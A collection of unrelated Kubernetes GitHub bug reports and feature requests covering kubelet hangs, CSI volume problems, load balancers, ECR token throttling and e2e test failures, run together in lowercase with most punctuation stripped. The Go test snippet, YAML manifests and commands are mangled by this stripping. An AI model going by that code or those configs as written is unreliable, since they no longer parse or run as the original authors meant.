3120.834183  info: task kubelet:10743 blocked for more than 120 seconds.\r   3120.839396  \ echo 0 > /proc/sys/kernel/hung_task_timeout_secs\  disables this message.\r   3120.845480  kubelet         d ffffffff81a3d028     0 10743      1 0x00000084\r   3120.850744   ffff88019db6bd70 0000000000000082 ffff8800e9a48000 ffff88019db6bfd8\r   3120.856406   ffff88019db6bfd8 ffff88019db6bfd8 ffff8800e9a48000 ffffffff81a3d020\r   3120.861940   ffffffff81a3d024 ffff8800e9a48000 00000000ffffffff ffffffff81a3d028\r   3120.867910  call trace:\r   3120.870360    <ffffffff8168ca69>  schedule_preempt_disabled+0x29/0x70\r   3120.875743    <ffffffff8168a6c5>  __mutex_lock_slowpath+0xc5/0x1c0\r   3120.880518    <ffffffff81689b2f>  mutex_lock+0x1f/0x2f\r   3120.884515    <ffffffff811f3677>  mem_cgroup_write+0x137/0x400\r   3120.889333    <ffffffff811f3540>  ? memcg_update_cache_sizes+0xc0/0xc0\r   3120.894185    <ffffffff8110a86f>  cgroup_file_write+0x1bf/0x2b0\r   3120.899021    <ffffffff81200d38>  ? __sb_start_write+0x58/0x110\r   3120.903538    <ffffffff812a8cd3>  ? security_file_permission+0x23/0xa0\r   3120.908380    <ffffffff811fe27d>  vfs_write+0xbd/0x1e0\r   3120.912837    <ffffffff8120ec9d>  ? putname+0x3d/0x60\r   3120.916875    <ffffffff811fed9f>  sys_write+0x7f/0xe0\r   3120.920952    <ffffffff816968c9>  system_call_fastpath+0x16/0x1b\r   3120.925557  info: task kworker/u30:0:20644 blocked for more than 120 seconds.\r   3120.931015  \ echo 0 > /proc/sys/kernel/hung_task_timeout_secs\  disables this message.\r   3120.937000  kworker/u30:0   d ffffffff81a3d028     0 20644      2 0x00000080\r   3120.942301  workqueue: netns cleanup_net\r   3120.945922   ffff88009c3b3c00 0000000000000046 ffff8801f1153ec0 ffff88009c3b3fd8\r   3120.951453   ffff88009c3b3fd8 ffff88009c3b3fd8 ffff8801f1153ec0 ffffffff81a3d020\r   3120.958423   ffffffff81a3d024 ffff8801f1153ec0 00000000ffffffff ffffffff81a3d028\r   3120.964089  call trace:\r   3120.966505    <ffffffff8168ca69>  schedule_preempt_disabled+0x29/0x70\r   3120.971424    <ffffffff8168a6c5>  __mutex_lock_slowpath+0xc5/0x1c0\r   3120.975899    <ffffffff81689b2f>  mutex_lock+0x1f/0x2f\r   3120.980463    <ffffffff811f3e4e>  kmem_cache_destroy_memcg_children+0x3e/0xb0\r   3120.985634    <ffffffff811a5829>  kmem_cache_destroy+0x19/0xf0\r   3120.990032    <ffffffff811f3e99>  kmem_cache_destroy_memcg_children+0x89/0xb0\r   3120.995129    <ffffffff811a5829>  kmem_cache_destroy+0x19/0xf0\r   3120.999360    <ffffffffa04245db>  nf_conntrack_cleanup_net_list+0x17b/0x1d0  nf_conntrack \r   3121.005298    <ffffffffa042545d>  nf_conntrack_pernet_exit+0x6d/0x80  nf_conntrack \r   3121.011059    <ffffffff81566b93>  ops_exit_list.isra.5+0x53/0x60\r   3121.015492    <ffffffff81567c70>  cleanup_net+0x1d0/0x350\r   3121.019425    <ffffffff810a805b>  process_one_work+0x17b/0x470\r   3121.024197    <ffffffff810a8e96>  worker_thread+0x126/0x410\r   3121.028383    <ffffffff810a8d70>  ? rescuer_thread+0x460/0x460\r   3121.033069    <ffffffff810b064f>  kthread+0xcf/0xe0\r   3121.036888    <ffffffff810b0580>  ? kthread_create_on_node+0x140/0x140\r   3121.041458    <ffffffff81696818>  ret_from_fork+0x58/0x90\r   3121.045499    <ffffffff810b0580>  ? kthread_create_on_node+0x140/0x140\r   3208.099291  ctnetlink v0.93: registering with nfnetlink.\r   3241.050071  info: task systemd:1 blocked for more than 120 seconds.\r   3241.054929  \ echo 0 > /proc/sys/kernel/hung_task_timeout_secs\  disables this message.\r   3241.060434  systemd         d ffffffff81a3d028     0     1      0 0x00000000\r   3241.066053   ffff880184cf7d70 0000000000000086 ffff880184cf8000 ffff880184cf7fd8\r   3241.071414   ffff880184cf7fd8 ffff880184cf7fd8 ffff880184cf8000 ffffffff81a3d020\r   3241.076717   ffffffff81a3d024 ffff880184cf8000 00000000ffffffff ffffffff81a3d028\r   3241.082930  call trace:\r   3241.085354    <ffffffff8168ca69>  schedule_preempt_disabled+0x29/0x70\r   3241.090720    <ffffffff8168a6c5>  __mutex_lock_slowpath+0xc5/0x1c0\r   3241.095289    <ffffffff81689b2f>  mutex_lock+0x1f/0x2f\r   3241.099455    <ffffffff811f3677>  mem_cgroup_write+0x137/0x400\r   3241.104481    <ffffffff811b10f7>  ? handle_mm_fault+0x897/0xfe0\r   3241.110248    <ffffffff811f3540>  ? memcg_update_cache_sizes+0xc0/0xc0\r   3241.116152    <ffffffff8110a86f>  cgroup_file_write+0x1bf/0x2b0\r   3241.124557    <ffffffff81200d38>  ? __sb_start_write+0x58/0x110\r   3241.130452    <ffffffff812a8cd3>  ? security_file_permission+0x23/0xa0\r   3241.135248    <ffffffff811fe27d>  vfs_write+0xbd/0x1e0\r   3241.140358    <ffffffff811fed9f>  sys_write+0x7f/0xe0\r   3241.144802    <ffffffff816968c9>  system_call_fastpath+0x16/0x1b\r    \r \r  

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :  \r \r in a go program, using the yaml utility package \ k8s.io/apimachinery/pkg/util/yaml\ , the\r yamldecoder read function always returns n=0 bytes, indicating that nothing was read.\r \r   what you expected to happen  :\r \r the number of bytes read should be returned as specified in the  read contract  https://golang.org/pkg/io/ reader \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    \r func testyamldecoder t  testing.t  {\r \td :=  ---\r stuff: 1\r \ttest-foo: 1\r  \r \ts := newdocumentdecoder ioutil.nopcloser bytes.newreader   byte d    \r \tb := make   byte, len d  \r \tn, err := s.read b \r \tif err != nil || n != len d  {\r \t\tt.fatalf \ unexpected body: %d / %v\ , n, err \r \t}\r }\r    \r see https://github.com/sel/kubernetes/commit/86d02ac36811dfadad089f9a5d2ceb95b1288056 diff-3b3ea800b8ebe625d0defd76c2e6f827\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :  client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.4\ , gitcommit:\ 9befc2b8928a9426501d3bf62f72849d5cbcd5a3\ , gittreestate:\ clean\ , builddate:\ 2017-11-20t05:28:34z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ } \r - cloud provider or hardware configuration: minikube & aws\r - os  e.g. from /etc/os-release : macos 10.13.1  17b1003 \r - kernel  e.g.  uname -a  : darwin 17.2.0\r - install tools:\r - others:  go version go1.9.2 darwin/amd64 \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r \r when creating an internal loadbalancer, e.g.\r \r    sh\r cat << eof | kubectl create -f -\r apiversion: v1\r kind: service\r metadata:\r   name: ingress-nginx\r   annotations:\r     service.beta.kubernetes.io/azure-load-balancer-internal: \ true\ \r spec:\r   type: loadbalancer\r   ports:\r   - name: http\r     port: 80\r     targetport: 80\r     protocol: tcp\r   - name: https\r     port: 443\r     targetport: 443\r     protocol: tcp\r   selector:\r     app: ingress-nginx\r eof\r    \r \r then wait a while, and no target backends present for the internal load balancer even after 15 mins.\r \r !   https://user-images.githubusercontent.com/10303889/36070528-54aa9848-0f22-11e8-834b-7401a2fa7611.png \r \r refer https://github.com/azure/acs-engine/issues/2151 issuecomment-364726846.\r \r   what you expected to happen  :\r \r target backends created for internal load balancers.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create an internal load balancer and check lb's backends.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9.3\r - cloud provider or hardware configuration: azure\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

what happened  :\r when i restart pod with my driver and driver-registrar, node looses nodeid annotation.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. run kubernetes without any alpha features  local-up-cluster.sh in this case \r \r 2. start hostpath driver\r        \r     kubectl create serviceaccount csi-node-sa\r     kubectl create serviceaccount csi-attacher\r     kubectl apply -f test/e2e/testing-manifests/storage-csi/hostpath/hostpath/\r        \r \r 3. wait for everything to be running\r \r 4. check the node has annotation\r        \r     kubectl get node -o yaml\r \r     annotations:\r       csi.volume.kubernetes.io/nodeid: '{\ csi-hostpath\ :\ 127.0.0.1\ }'\r        \r \r 4. delete the node pod  deleting all pods here, we don't care about attacher/provisioner .\r        \r     kubectl delete pod --all\r        \r    \r 5. daemonset will start a new node pod with new registrar. wait until the new pod gets running.\r \r 6. check the node   does not have the annotation  \r        \r     kubectl get node -o yaml\r \r      <no annotations>\r        \r \r it's ~~100%~~ 80% reproducible in my local cluster. new driver-registrar deletes socket of the old registrar and creates new one. i can see in logs:\r \r    \r i1126 16:48:23.914792   31674 plugin_watcher.go:347  deregistering plugin {csiplugin csi-hostpath} at path /var/lib/kubelet/plugins_registry/csi-hostpath-reg.sock\r i1126 16:48:23.914886   31674 csi_plugin.go:227  kubernetes.io/csi: registrationhandler.deregisterplugin request for plugin csi-hostpath\r i1126 16:48:23.919670   31674 csi_plugin.go:116  kubernetes.io/csi: trying to validate a new csi driver with name: csi-hostpath endpoint: /var/lib/kubelet/plugins/csi-hostpath/csi.sock versions: 1.0.0, foundindeprecateddir: false\r i1126 16:48:23.919756   31674 csi_plugin.go:137  kubernetes.io/csi: register new plugin with name: csi-hostpath at endpoint: /var/lib/kubelet/plugins/csi-hostpath/csi.sock\r    \r \r so the old socket was deregistered very shortly before new one got registered. imo these two operations collide with each other and the deregistration \ wins\  somehow.\r \r   environment  :\r - kubernetes version  use  kubectl version  : today's master\r \r   \r @saad-ali @bertinatto @msau42 @vladimirvivien @verult @davidz627

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r   what happened  :\r i mapped a volume to the node name is  ubuntu-node5  via kubernetes-csi plugin. later i added this node to other clusters and forgot to unmap this volume from  ubuntu-node5 , causing the volumeattachment and volume cannot be deleted, even adding   --grace-period=0 --force  parameters in the delete command.\r \r using the describe command to show volumeattachment details are as follows:\r    \r root@ubuntu-master:/home  kubectl describe volumeattachment csi-ec16a73670ecf3d64e137653e852e34516ed89768d8e791e634fbe4d57497b5e\r \r name:         csi-ec16a73670ecf3d64e137653e852e34516ed89768d8e791e634fbe4d57497b5e\r namespace:\r labels:       <none>\r annotations:  <none>\r api version:  storage.k8s.io/v1beta1\r kind:         volumeattachment\r metadata:\r   creation timestamp:             2018-12-22t12:31:24z\r   deletion grace period seconds:  0\r   deletion timestamp:             2018-12-26t07:05:24z\r   finalizers:\r     external-attacher/csi-djplugin\r   resource version:  727742\r   self link:         /apis/storage.k8s.io/v1beta1/volumeattachments/csi-ec16a73670ecf3d64e137653e852e34516ed89768d8e791e634fbe4d57497b5e\r   uid:               7ebd70df-05e5-11e9-8869-9017acae5907\r spec:\r   attacher:   csi-djplugin\r   node name:  ubuntu-node5\r   source:\r     persistent volume name:  pvc-38df24f0-05e3-11e9-8869-9017acae5907\r status:\r   attach error:\r     message:  persistentvolume \ pvc-38df24f0-05e3-11e9-8869-9017acae5907\  is marked for deletion\r     time:     2018-12-24t15:53:09z\r   attached:   false\r   detach error:\r     message:  node \ ubuntu-node5\  not found\r     time:     2018-12-26t07:06:02z\r events:       <none>\r    \r using the get command to show node details are as follows:\r    \r root@ubuntu-master:/home  kubectl get node\r name            status    roles     age       version\r ubuntu-master   ready     master    4d        v1.10.3\r ubuntu-node1    ready     <none>    4d        v1.10.3\r ubuntu-node2    ready     <none>    4d        v1.10.3\r    \r   what you expected to happen  :\r i hope that in this case, the volumeattachment can be forcibly deleted, so that it does not affect other tasks of csi plugin, or determine whether there is a volumeattachment associated with the node before deleting the node.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. map a volume to a node.\r 2. delete this node.\r 3. delete the volume and associated volumeattachment\r \r   anything else we need to know?  :\r when i create a new node and name it  ubuntu-node5 , add it to the kubernetes cluster, this volumeattachment and volume are all automatically deleted.\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.10.3\r - cloud provider or hardware configuration: bare metal\r - os  e.g. from /etc/os-release : ubuntu 16.04\r - kernel  e.g.  uname -a  : linux ubuntu-master 4.4.0-31-generic  50-ubuntu smp wed jul 13 00:07:12 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r - install tools: csi plugin  https://github.com/opensds/nbp/tree/master/csi \r - others:\r \r <!-- do not edit below this line -->\r   \r 

running the  controller-manager  via the  hyperkube  container, i was getting a stack trace in the logs. turns out i was calling  --allocate-node-cidrs=true  without a cloud provider. it gave an error message about requiring a cloud provider, but then dumps a full stack trace.      shell root@9bc01ec35f04:/  /hyperkube --version kubernetes v0.21.2 root@9bc01ec35f04:/  /hyperkube controller-manager --master=127.0.0.1:8080 --cluster_name=bhouse --cluster-cidr=10.0.224.0/20 --allocate-node-cidrs=true --v=2 i0715 13:53:03.362346      85 plugins.go:69  no cloud provider specified. i0715 13:53:03.363261      85 nodecontroller.go:114  sending events to api server. e0715 13:53:03.363933      85 controllermanager.go:198  failed to start service controller: servicecontroller should not be run without a cloudprovider. panic: runtime error: invalid memory address or nil pointer dereference  signal 0xb code=0x1 addr=0x38 pc=0x498b1e   goroutine 1  running : github.com/googlecloudplatform/kubernetes/cmd/kube-controller-manager/app.  cmserver .run 0xc2081dc640, 0xc20805b630, 0x0, 0x5, 0x0, 0x0      /go/src/github.com/googlecloudplatform/kubernetes/_output/dockerized/go/src/github.com/googlecloudplatform/kubernetes/cmd/kube-controller-manager/app/controllermanager.go:202 +0x89e main.func·002 0xc20805b5e0, 0xc20805b630, 0x0, 0x5, 0x0, 0x0      /go/src/github.com/googlecloudplatform/kubernetes/_output/dockerized/go/src/github.com/googlecloudplatform/kubernetes/cmd/hyperkube/kube-controller-manager.go:34 +0x5a main.  hyperkube .run 0xc2080589c0, 0xc208058af0, 0x5, 0x5, 0x0, 0x0      /go/src/github.com/googlecloudplatform/kubernetes/_output/dockerized/go/src/github.com/googlecloudplatform/kubernetes/cmd/hyperkube/hyperkube.go:172 +0x5d1 main.  hyperkube .runtoexit 0xc2080589c0, 0xc20800a000, 0x7, 0x7      /go/src/github.com/googlecloudplatform/kubernetes/_output/dockerized/go/src/github.com/googlecloudplatform/kubernetes/cmd/hyperkube/hyperkube.go:183 +0x6a main.main       /go/src/github.com/googlecloudplatform/kubernetes/_output/dockerized/go/src/github.com/googlecloudplatform/kubernetes/cmd/hyperkube/main.go:40 +0x93b   truncated

from conversations with @wojtek-t @fgrzadkowski @jszczepkowski @gmarek @davidopp @bgrant0607 @mwielgus @piosz @vmarmol   first round of disk space changes  target v1.1 : 1. kubelet has flags that user can set to specify desired amount of disk space of main disk to set aside for inactive images and logs from terminated containers 2. kubelet measures usage of idle images and terminated container's volumes by asking docker.   3. kubelet triggers gc of images and containers using flag provided max as a high-water-mark.  user benefit: 1. users can avoid running out of disk space  second round  post v1.1 : 1. kubelet gets capacity of the one local disk of the machine and reports it in its node    1. we won't support multiple local disks.  if you have these then you can either merge them into one big disk with lvm/md or you can have a storage daemon pod access them via hostdir 2. pods and volumes may specify a disk space request  setting on container not recommended     1. there is no enforcement or measurement of the actual usage of disk space.  this is hard to do, so we don't do it at first  3. kubelet reports a \ shadow pod\  for the system which has a container that has a disk resource request equal to the flag provided high-water mark for cached images and old container logs. 4. users may optionally set a request for disk space on each container.      1. if there are multiple containers per pod with shared image or volume disk usage, the user needs to figure out a way to apportion this total usage among his containers. 5. the scheduler uses the node capacity and the sum of container limits  including shadow container  to do scheduling. 6. no measurement or enforcement of disk space limits on containers.  user benefit: - users with well behaved containers with varying disk needs can get the scheduler to do disk-space aware scheduling.  third round: 1. figure out how to do disk space measurement and enforcement  2. decide whether to add a per-pod overall resource limit and to only do disk space limit and usage there  sum for pod and its volumes  or to break down further. 3. for measuring usage see: https://github.com/appc/spec/issues/198

forked from  17027.  currently, there is no way to define higher level types in kubernetes. for example, there's no way to abstractly define a redis cluster, consisting of a redis master, which consists of a service and replication controller, plus a set of redis slaves, each of which consists of a service and replication controller pair, with appropriate wiring between the master and slaves.  granted, one can easily instantiate the replication controllers and services, as demonstrated by  the guestbook example  https://github.com/kubernetes/kubernetes/tree/22e527fe2577e2ee29d557681ee388b2d10b91a6/examples/guestbook . likewise, the redis slaves in that example have a priori knowledge of the name of the redis master service, and the port it's using. all fine for something hard wired.  however, these mechanisms don't generalize well. there's no programmatically discoverable information that identifies the pieces as part of a redis cluster, or which exposes the role that each one plays.  yes, there are labels, such as  app:redis  and  role:slave . but those are ad hoc strings, not clearly related to each other or described by any form of type definition. consequently, there's no way to programmatically determine what labels to use when creating a redis cluster, or more importantly what labels were used to create a redis cluster and its components.  likewise, the dependencies between services are not defined in a discoverable way. how then can one assemble an application from multiple standalone services which didn't know a priori that they would be used together in that specific configuration?  we have opportunity at this point to move beyond configuration format discussions, and define a firmer notion of application for kubernetes. while an application will likely be defined by one or more types or templates, it also needs metadata that tools and controllers can use to reason about it... e.g., metadata that: - describes its monitoring, logging and alerting configuration, - allows it to be listed in a marketplace, - helps ubernetes schedule it and/or its constituent components, etc.  ultimately, we need to make it easy to answer questions like: - what applications are running in this kubernetes cluster? - what components comprise a given application and how are they organized? - how is component x configured and what other components does it use? - what kubernetes resources comprise component x? - how is a redis  cassandra, rabbitmq, storm, kafka  cluster defined? - what are its configuration points?  the purpose of this issue is to start a discussion about what constitutes applications and components, and how they are defined/expressed.

currently, when creating an elb in aws, kubernetes doesn't support adding custom tags or naming for the resources. in turn this requires a very broad set of permissions for the instance profile running the master, allowing full access to any elb in the same account.  from my perspective this is unsuitable for larger corporations running in aws under a single account as this increases risks of others teams' elbs being manipulated by an instance they aren't aware of.  my suggestion would be to allow some basic configuration in the cluster to include custom tagging or at least prefixing the name of resources created by kubernetes so allowing iam-like permission schemes to filter based on the tags or naming. not only for aws but i don't have expertise with gce or other public cloud providers to know if they support iam-like authorization.

we don't have performance test for volume manager in node-e2e test. it should be added since it is an important part when we measure pod creation latency.   one problem to note is that we do not have \ secret volume\  in node-e2e tests. when we create a batch of pods in cluster through replicated controller, because the pods have default secret volumes with the same name, it takes some time for the volume manager to create all of them, see issue  28616. we may also want to test this in node-e2e, otherwise the pod creation latency we get is different from the cluster setting.

---\r aws has a rate limit of 1 ecr auth token per second per account. for kubernetes cluster with many nodes and using ecr as its primary registry its not unlikely for the kubelet to get throttled. \r    \r aws_credentials.go:199  while requesting ecr authorization token throttlingexception: rate exceeded\r    \r after digging through some of the code in the  aws_credentials.go  https://github.com/kubernetes/kubernetes/blob/master/pkg/credentialprovider/aws/aws_credentials.go    and please correct me if i'm wrong  it seems like the kubelet does not implement any retry logic for getting the ecr token which leaves that worker node completely useless until the expiration time for the token  11 hours and 55 minutes . the only way to trigger another fetch is to restart the kublet. the kubelet should either block until the token is acquired or execute some retry loop in a separate goroutine. \r \r \r   kubernetes version    use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.4\ , gitcommit:\ 3b417cc4ccd1b8f38ff9ec96bb50a81ca0ea9d56\ , gittreestate:\ clean\ , builddate:\ 2016-10-21t02:48:38z\ , goversion:\ go1.7.1\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.4\ , gitcommit:\ 3b417cc4ccd1b8f38ff9ec96bb50a81ca0ea9d56\ , gittreestate:\ clean\ , builddate:\ 2016-10-21t02:42:39z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release : \r    \r name=coreos\r id=coreos\r version=1185.2.0\r version_id=1185.2.0\r build_id=2016-10-20-2326\r pretty_name=\ coreos 1185.2.0  moreos \ \r ansi_color=\ 1;32\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://github.com/coreos/bugs/issues\ \r    \r -   kernel    e.g.  uname -a  :\r    \r linux 4.7.3-coreos-r2  1 smp thu oct 20 23:18:54 utc 2016 x86_64 intel r  xeon r  cpu e5-2680 v2 @ 2.80ghz genuineintel gnu/linux\r

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-staging-parallel/1470/  failed:  k8s.io  downward api volume should provide container's memory limit {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/downwardapi_volume.go:166 error creating pod expected error:     < errors.statuserror | 0xc8208f6180>: {         errstatus: {             typemeta: {kind: \ \ , apiversion: \ \ },             listmeta: {selflink: \ \ , resourceversion: \ \ },             status: \ failure\ ,             message: \ an error on the server  \\\ internal server error: \\\\\\\ /api/v1/namespaces/e2e-tests-downward-api-mpttn/pods\\\\\\\ \\\   has prevented the request from succeeding  post pods \ ,             reason: \ internalerror\ ,             details: {                 name: \ \ ,                 group: \ \ ,                 kind: \ pods\ ,                 causes:                       {                         type: \ unexpectedserverresponse\ ,                         message: \ internal server error: \\\ /api/v1/namespaces/e2e-tests-downward-api-mpttn/pods\\\ \ ,                         field: \ \ ,                     },                  ,                 retryafterseconds: 0,             },             code: 500,         },     }     an error on the server  \ internal server error: \\\ /api/v1/namespaces/e2e-tests-downward-api-mpttn/pods\\\ \   has prevented the request from succeeding  post pods  not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/pods.go:50

it appears that there is a bit of an impedance mismatch between how the federatedinformer discusses clusterssynced clusters     federationapi.clusters  and the actual implementation of that method. conceptually, the idea of clusterssynced clusters     federationapi.clusters  seems to be to provide an ongoing update of whether the federated store is synchronized with the underlying clusters' stores. in practice, it does this by checking the hassynced   method on each of the clusters' informers. hassynced   only promises to return whether, at some point in the past, the informer was synced, and from the implementation it appears that it does this by checking that the queue has been populated with some add/update/delete operations, or was populated with some replace operations that completed. interestingly, if there is an in-flight add, update or delete operation, hassynced   appears to return true before that operation has completed.\r \r so, clusterssynced clusters     federationapi.clusters  doesn't quite provide the depth of information that it implies in its name and its documentation. note that the clusterssynced   method on federationview does note this in the comment.\r \r it may be worth renaming these to haveclustersbeensynced   or some such to make it clear that they do not provide information about the current sync state, but only that at some point they were synced  or at some point were slated to be synced, which seems to be the promise that is provided .jk\r \r someone else may want to look into this code to corroborate these findings.

failure cluster  982a974a173a34e942ce  https://go.k8s.io/triage 982a974a173a34e942ce        error text:     error during gcloud compute images describe-from-family gci-60 --project=container-vm-image-staging --format=value name : exit status 1           failure cluster statistics: 1 tests failed,    3 jobs failed,    424 builds failed. failure stats cover 1 day time range '30 may 2017 19:03 utc' to '31 may 2017 19:03 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | extract | 3 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gce-gci-qa-serial-m60 | 142 |  31 may 2017 11:02 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-gci-qa-serial-m60/142  | | ci-kubernetes-e2e-gce-gci-qa-m60 | 141 |  31 may 2017 10:58 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-gci-qa-m60/141  | | ci-kubernetes-e2e-gce-gci-qa-slow-m60 | 141 |  31 may 2017 10:58 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-gci-qa-slow-m60/141  |   current status  https://go.k8s.io/triage 982a974a173a34e942ce

\r  \r   what happened  :\r \r starting up kubelet, it would repeatedly report \r orphaned pod \ 960d8587-8033-11e7-b5ed-5254009e97c1\  found\r , but volume paths are still present on disk.\r resident set size would slowly increase until the vm crashed\r looking in\r /var/lib/kubelet/pods/960d8587-8033-11e7-b5ed-5254009e97c1/volumes/kubernetes.io~secret \r there were 358227 files. they were growing at an exponential rate.\r \r the files were:\r default-token-r8730\r then 17 files of the form:\r wrapped_default-token-r8730.deleting~057685120 \r then 196 of the form:\r wrapped_wrapped_default-token-r8730.deleting~057685120.deleting~032361594\r then 1845 of the form:\r wrapped_wrapped_wrapped_default-token-r8730.deleting~057685120.deleting~032361594.deleting~235855178\r etc.\r \r i've seen this happen on two machines. one machine there were tmpfs mounts under /var/lib/kubelet/pods/podid/volumes and on the other there were no mounts. unmounting and starting kubelet didn't help.\r \r stopping kubelet, recursively removing all the directories under /var/lib/kubelet/pods, and then restarting kubelet restored operation, but otherwise the kubelet would not restart even after rebooting the node.\r \r   what you expected to happen  :\r \r kubelet should have started up and operated properly.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r unfortunately i don't know what i did to create this circumstance in the first place. i'm new to kubernetes and i was doing a bunch of setup and testing, but once this state was entered it was easy to reproduce.\r \r   anything else we need to know?  :\r \r using fedora atomic 26 as the base vm\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.7\ , gitcommit:\ 095136c3078ccf887b9034b7ce598a0a1faff769\ , gittreestate:\ clean\ , builddate:\ 2017-07-08t18:30:56z\ , goversion:\ go1.8.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.7\ , gitcommit:\ 095136c3078ccf887b9034b7ce598a0a1faff769\ , gittreestate:\ clean\ , builddate:\ 2017-07-08t18:30:56z\ , goversion:\ go1.8.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration  :\r intel x86_64\r - os  e.g. from /etc/os-release :\r fedora 26 atomic\r - kernel  e.g.  uname -a  :\r linux master.localdomain 4.11.11-300.fc26.x86_64  1 smp mon jul 17 16:32:11 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r \r

with 5.0.0 based on 1.8.0 instead of 1.8.1 we missed security critical fixes: https://github.com/kubernetes/kubernetes/pull/53443.\r \r /cc @liggitt

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r >  \r \r   what happened  :\r from the discussion in pr review of using file store utility for device plugin checkpointing:\r https://github.com/kubernetes/kubernetes/pull/55382 discussion_r152095025\r @vishh suggested we consider to store checkpoints on tmpfs instead of durable storage and take the additional perf gains,\r assuming that kubelet on node reboot will re-admit all pods.\r we should consider this option and possibly store checkpoint data in a file under a tmpfs directory that only kubelet has access to.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

failing jobs\r   sig-release-master-upgrade gce-new-master-upgrade-cluster-new  https://k8s-testgrid.appspot.com/sig-release-master-upgrade gce-new-master-upgrade-cluster-new \r  sig-release-master-upgrade gce-new-master-upgrade-cluster-parallel  https://k8s-testgrid.appspot.com/sig-release-master-upgrade gce-new-master-upgrade-cluster-parallel \r  sig-release-master-upgrade gce-new-master-upgrade-cluster  https://k8s-testgrid.appspot.com/sig-release-master-upgrade gce-new-master-upgrade-cluster \r  sig-release-master-upgrade gce-new-master-upgrade-cluster-new  https://k8s-testgrid.appspot.com/sig-release-master-upgrade gce-new-master-upgrade-cluster-new \r  sig-release-master-upgrade gke-gci-new-gci-master-upgrade-master  https://k8s-testgrid.appspot.com/sig-release-master-upgrade gke-gci-new-gci-master-upgrade-master \r \r \r   failing tests\r  gce-new-master-upgrade-cluster-new  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-cluster-new/1612 \r  gce-new-master-upgrade-cluster-parallel  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-cluster-parallel/4575 \r  gce-new-master-upgrade-cluster  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-cluster/2400 \r  gce-new-master-upgrade-cluster-new  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-cluster-new/1612 \r  gke-gci-new-gci-master-upgrade-master  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-new-gci-master-upgrade-master/1412 \r \r \r sigs whose tests are failing  possibly because of the upgrade failures \r \r    \r   \r  / /milestone v1.12

